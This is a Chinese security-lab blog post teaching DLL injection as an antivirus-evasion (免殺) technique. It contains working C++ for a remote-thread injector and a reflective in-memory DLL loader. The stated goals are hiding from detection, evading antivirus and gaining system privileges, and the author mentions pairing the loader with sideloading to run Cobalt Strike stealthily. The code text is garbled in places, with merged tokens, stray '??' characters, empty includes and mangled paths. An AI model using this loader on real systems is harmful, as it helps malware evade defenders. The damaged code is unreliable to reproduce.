本文章是蛇矛實驗室基于"火天網測網絡安全測試平臺"進行編寫及驗證,通過火天網測中的病毒測試模塊,可以對文件進行詳盡的評估, 從而對文件是否存在惡意行為進行判斷。
DLL簡介
DLL(動態鏈接庫)注入技術是木馬程序,遠控程序免殺過程中很常見的一種技術。但是這種技術隨著時間的流逝,免殺效果越來越差。因此,需要在原版的基礎上我們需要去升級成反射注入,也是目前主流的免殺方式之一,反射注入的介紹我們在下面詳解。
在我們繼續下面的操作時,我們先去看看dll是什么.MSDN[What is a DLL]文章。通過文章基本可以了解到dll就是包含各種數據的庫,它們提供了一種模塊化的代碼編寫方法。當我們使用像 LoadLibraryA 這樣的函數時,可以加載到我們程序中。
什么是 DLL
對于 Windows 操作系統,操作系統的大部分功能都是由 DLL 提供的。此外,當您在這些 Windows 操作系統上運行程序時,該程序的大部分功能可能由 DLL 提供。例如,一些程序可能包含許多不同的模塊,程序的每個模塊都包含在DLL中并分布在DLL中。
DLL 的使用有助于促進代碼的模塊化、代碼重用、有效的內存使用和減少磁盤空間。因此,操作系統和程序加載速度更快,運行速度更快,并且在計算機上占用的磁盤空間更少。
當程序使用 DLL 時,稱為依賴性的問題可能會導致程序無法運行。當程序使用 DLL 時,會創建一個依賴項。如果另一個程序覆蓋并破壞了這種依賴關系,則原始程序可能無法成功運行。
隨著 .NET Framework 的引入,大多數依賴問題已通過使用程序集消除。
更多信息
DLL 是一個庫,其中包含可由多個程序同時使用的代碼和數據。例如,在 Windows 操作系統中,Comdlg32 DLL 執行常見的對話框相關功能。每個程序都可以使用此 DLL 中包含的功能來實現打開對話框。它有助于促進代碼重用和有效的內存使用,通過使用 DLL,可以將程序模塊化為單獨的組件。例如,會計程序可以按模塊銷售。如果安裝了該模塊,則每個模塊都可以在運行時加載到主程序中。因為模塊是分開的,所以程序的加載時間更快。并且僅在請求該功能時才加載模塊。
此外,更新更容易應用于每個模塊,而不會影響程序的其他部分。例如,您可能有一個工資計劃,并且稅率每年都在變化。當這些更改被隔離到 DLL 時,您可以應用更新而無需再次構建或安裝整個程序。
以下列表描述了在 Windows 操作系統中作為 DLL 實現的一些文件:
ActiveX 控件的一個示例是日歷控件,它允許您從日歷中選擇日期。
控制面板 (.cpl) 文件
.cpl 文件的一個示例是位于控制面板中的項目。每個項目都是一個專門的 DLL。
設備驅動程序 (.drv) 文件
設備驅動程序的一個示例是控制打印到打印機的打印機驅動程序。
DLL 優勢
以下列表描述了程序使用 DLL 時提供的一些優勢:
使用更少的資源
當多個程序使用同一個函數庫時,DLL 可以減少加載到磁盤和物理內存中的代碼重復。它不僅可以極大地影響在前臺運行的程序的性能,還可以極大地影響在 Windows 操作系統上運行的其他程序的性能。
促進模塊化架構
DLL 有助于促進模塊化程序的開發。它可以幫助您開發需要多種語言版本的大型程序或需要模塊化架構的程序。模塊化程序的一個示例是具有許多可以在運行時動態加載的模塊的會計程序。
簡化部署和安裝
當 DLL 中的函數需要更新或修復時,DLL 的部署和安裝不需要程序與 DLL 重新鏈接。此外,如果多個程序使用相同的 DLL,則多個程序都將受益于更新或修復。當您使用定期更新或修復的第三方 DLL 時,此問題可能會更頻繁地發生。
從磁盤加載DLL(自身加載)
我們首先編寫一個DLL(動態鏈接庫),一個EXE(加載器),然后去把DLL加載到我們的EXE中。
// dllmain.cpp : 定義 DLL 應用程序的入口點。 #include"pch.h" BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch(ul_reason_for_call) { caseDLL_PROCESS_ATTACH: MessageBoxA(NULL, "DLL_PROCESS_ATTACH", "info", NULL); break; caseDLL_THREAD_ATTACH: MessageBoxA(NULL, "DLL_THREAD_ATTACH", "info", NULL); break; caseDLL_THREAD_DETACH: MessageBoxA(NULL, "DLL_THREAD_DETACH", "info", NULL); break; caseDLL_PROCESS_DETACH: MessageBoxA(NULL, "DLL_PROCESS_DETACH", "info", NULL); break; } returnTRUE; }
#include#include intmain() { // 使用LoadLibraryA加載我們的dll 加載成功返回模塊句柄 printf("%p ",LoadLibraryA("dll.dll")); std::cin.get(); return0; }
我們這里觸發了DLL_PROCESS_ATTACH 關閉exe觸發了DLL_PROCESS_DETACH,這里就是說明我們的DLL已經被加載到我們的EXE中了。我們可以用Process Hacker 2工具看下:
可以看到我們的模塊地址 還有模塊名稱。
從磁盤加載DLL(遠程加載)
如果我們想把我們的程序加載到別的進程中,那么該如何去做呢?
問:為什么要注入到別人的進程中
答:注入到別人的進程中后有利于我們的隱藏。
答:注入到別人的進程中有利于做免殺。
答:注入到系統進程中有更高的操作權限。
DLL程序源碼不變,我們去修改下load的代碼。注入我會相對詳細的去寫在代碼里面。
#include#include voidRemoteLoadDll(LPCSTR path) { STARTUPINFOA si = { sizeof(STARTUPINFOA) }; PROCESS_INFORMATION pi = {}; // 創建一個notepad的進程 if(CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) == NULL) { // 如果創建失敗直接返回 return; } else { // 創建成功打印進程pid 和 進程句柄 printf("Process PID: %d ", pi.dwProcessId); printf("Process Handle: %p ", pi.hProcess); intlen = strlen(path); // 在創建的進程中申請一塊內存空間 LPVOID mem_addr = VirtualAllocEx(pi.hProcess, nullptr, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); printf(" :: Base Address: %p ", mem_addr); // 把我們的dll路徑寫入到我們申請的內存空間內 WriteProcessMemory(pi.hProcess, mem_addr, (LPVOID)path, len, NULL); // 從kernel32中獲取到LoadLibraryA的函數地址 PTHREAD_START_ROUTINE func_addr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA"); printf(" :: THREAD_START_ROUTINE: %p ", func_addr); // 創建遠程線程調用LoadLibraryA加載我們的dll HANDLE thread_handle = CreateRemoteThread(pi.hProcess, NULL, 0, func_addr, mem_addr, 0, NULL); printf(" :: Thread: %p ", thread_handle); // 釋放工作 if(pi.hProcess)CloseHandle(pi.hProcess); if(pi.hThread)CloseHandle(pi.hThread); if(thread_handle)CloseHandle(thread_handle); } } intmain() { // 使用LoadLibraryA加載我們的dll 加載成功返回模塊句柄 // printf("%p ", LoadLibraryA("dll.dll")); RemoteLoadDll(R"(E:UsersRedTeamDesktopcodedll-injectx64Debugdll.dll)"); std::cin.get(); return0; }
可以發現DLL已經注入進去了,但是這種注入技術很容易被發現,因為我們在模塊中就可以查到我們注入的DLL,那么我們為了更好的隱藏自身,就要用到反射注入了。
反射注入
反射式注入 dll ,不會調用 LoadLibraryA/W 等API來完成DLL的裝載,DLL并沒有在操作系統中”注冊”自己的存在。因此無法使用CreateToolhelp32Snapshot 遍歷到這個模塊。像ProcessExplorer等軟件也無法檢測出進程加載了該DLL。同時也不需要 DLL 留在磁盤上(可以通過網絡下發,或加密后存放在磁盤)避免文件落地,因此這種注入方式更加隱蔽(也可以說是內存加載,因為兩種思路其實是一樣的。)。
過程如下
加載DLL的PE文件到要注入的內存中
展開PE文件
修復重定位
解析導入地址表 (IAT)
調用DLL_PROCESS_ATTACH
具體代碼如下
#include#include //重定位表 typedefstructBASE_RELOCATION_BLOCK{ DWORD page_addr; DWORD block_size; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; //重定位項 typedefstructBASE_RELOCATION_ENTRY{ USHORT offset : 12; USHORT type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; usingDLLEntry = BOOL(WINAPI*)(HINSTANCE dll, DWORD reason, LPVOID reserved); intmain() { printf("pid:%d ", GetCurrentProcessId()); // 獲取當前模塊 PVOID imagebase = GetModuleHandleA(NULL); //將DLL字節讀入內存緩沖區 HANDLE dll = CreateFileA(R"(C:UsersAdministratorDesktopdll-injectDebugdll.dll)", GENERIC_READ, NULL, NULL, OPEN_EXISTING, NULL, NULL); DWORD64 dll_size = GetFileSize(dll, NULL); LPVOID dll_bytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dll_size); DWORD out_size = 0; ReadFile(dll, dll_bytes, dll_size, &out_size, NULL); // 解析dll PIMAGE_DOS_HEADER dosheaders = (PIMAGE_DOS_HEADER)dll_bytes; PIMAGE_NT_HEADERS ntheaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dll_bytes + dosheaders->e_lfanew); SIZE_T dllImage_size = ntheaders->OptionalHeader.SizeOfImage; // 為DLL分配新的內存空間 LPVOID dllbase = VirtualAlloc((LPVOID)ntheaders->OptionalHeader.ImageBase, dllImage_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); printf("new memory addr:%p ", dllbase); //計算得到基地址的偏移量,也就是實際的 DLL 加載地址減去 DLL 的推薦加載地址 DWORD_PTR delta_image_base = (DWORD_PTR)dllbase - (DWORD_PTR)ntheaders->OptionalHeader.ImageBase; // 將DLL節表頭復制到新分配的DLL空間 std::memcpy(dllbase, dll_bytes, ntheaders->OptionalHeader.SizeOfHeaders); // 將DLL節部分復制到新分配的DLL空間 PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntheaders); for(size_ti = 0; i < ntheaders->FileHeader.NumberOfSections; i++) { LPVOID section_destination = (LPVOID)((DWORD_PTR)dllbase + (DWORD_PTR)section->VirtualAddress); LPVOID section_bytes = (LPVOID)((DWORD_PTR)dll_bytes + (DWORD_PTR)section->PointerToRawData); std::memcpy(section_destination, section_bytes, section->SizeOfRawData); section++; } //修復重定位 IMAGE_DATA_DIRECTORY relocations = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; DWORD_PTR relocation_table = relocations.VirtualAddress + (DWORD_PTR)dllbase; DWORD relocations_processed = 0; while(relocations_processed < relocations.Size) ??{ ????PBASE_RELOCATION_BLOCK relocation_block = (PBASE_RELOCATION_BLOCK)(relocation_table + relocations_processed); ????relocations_processed += sizeof(BASE_RELOCATION_BLOCK); ????DWORD relocations_count = (relocation_block->block_size - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); PBASE_RELOCATION_ENTRY relocation_entries = (PBASE_RELOCATION_ENTRY)(relocation_table + relocations_processed); for(DWORD i = 0; i < relocations_count; i++) ????{ ??????relocations_processed += sizeof(BASE_RELOCATION_ENTRY); ??????if?(relocation_entries[i].type == 0) ??????{ ????????continue; ??????} ??????DWORD_PTR relocation_rva = relocation_block->page_addr + relocation_entries[i].offset; DWORD_PTR address_2_patch = 0; ReadProcessMemory(GetCurrentProcess(), (LPCVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR), NULL); address_2_patch += delta_image_base; std::memcpy((PVOID)((DWORD_PTR)dllbase + relocation_rva), &address_2_patch, sizeof(DWORD_PTR)); } } //解析導入地址表 PIMAGE_IMPORT_DESCRIPTOR import_descriptor = NULL; IMAGE_DATA_DIRECTORY imports_directory = ntheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(imports_directory.VirtualAddress + (DWORD_PTR)dllbase); LPCSTR libraryname = ""; HMODULE library = NULL; while(import_descriptor->Name != NULL) { libraryname = (LPCSTR)import_descriptor->Name + (DWORD_PTR)dllbase; library = LoadLibraryA(libraryname); if(library) { PIMAGE_THUNK_DATA thunk = NULL; thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllbase + import_descriptor->FirstThunk); while(thunk->u1.AddressOfData != NULL) { if(IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) { LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal); thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal); } else { PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllbase + thunk->u1.AddressOfData); DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name); thunk->u1.Function = functionAddress; } ++thunk; } } import_descriptor++; } //執行 DLLEntry dllentry = (DLLEntry)((DWORD_PTR)dllbase + ntheaders->OptionalHeader.AddressOfEntryPoint); (*dllentry)((HINSTANCE)dllbase, DLL_PROCESS_ATTACH, 0); CloseHandle(dll); HeapFree(GetProcessHeap(), 0, dll_bytes); return0; }
從這里可以看到我們DLL的PE結構存放在我們新申請的內存里,我們內存展開后去執行了這個程序。這樣更加隱蔽的去執行了我們的程序。在免殺技術中,我經常使用這種技術配合白加黑去執行Cobalt Strike的EXE程序,隱蔽的去執行我們的代碼,當然這里我們也可以更加隱蔽的去執行我們的代碼。
蛇矛實驗室成立于2020年,致力于安全研究、攻防解決方案、靶場對標場景仿真復現及技戰法設計與輸出等相關方向。團隊核心成員均由從事安全行業10余年經驗的安全專家組成,團隊目前成員涉及紅藍對抗、滲透測試、逆向破解、病毒分析、工控安全以及免殺等相關領域。
審核編輯:湯梓紅
-
dll
+關注
關注
0文章
115瀏覽量
45431 -
WINDOWS
+關注
關注
4文章
3547瀏覽量
88751 -
操作系統
+關注
關注
37文章
6834瀏覽量
123344
原文標題:免殺技術之dll注入技術詳解
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論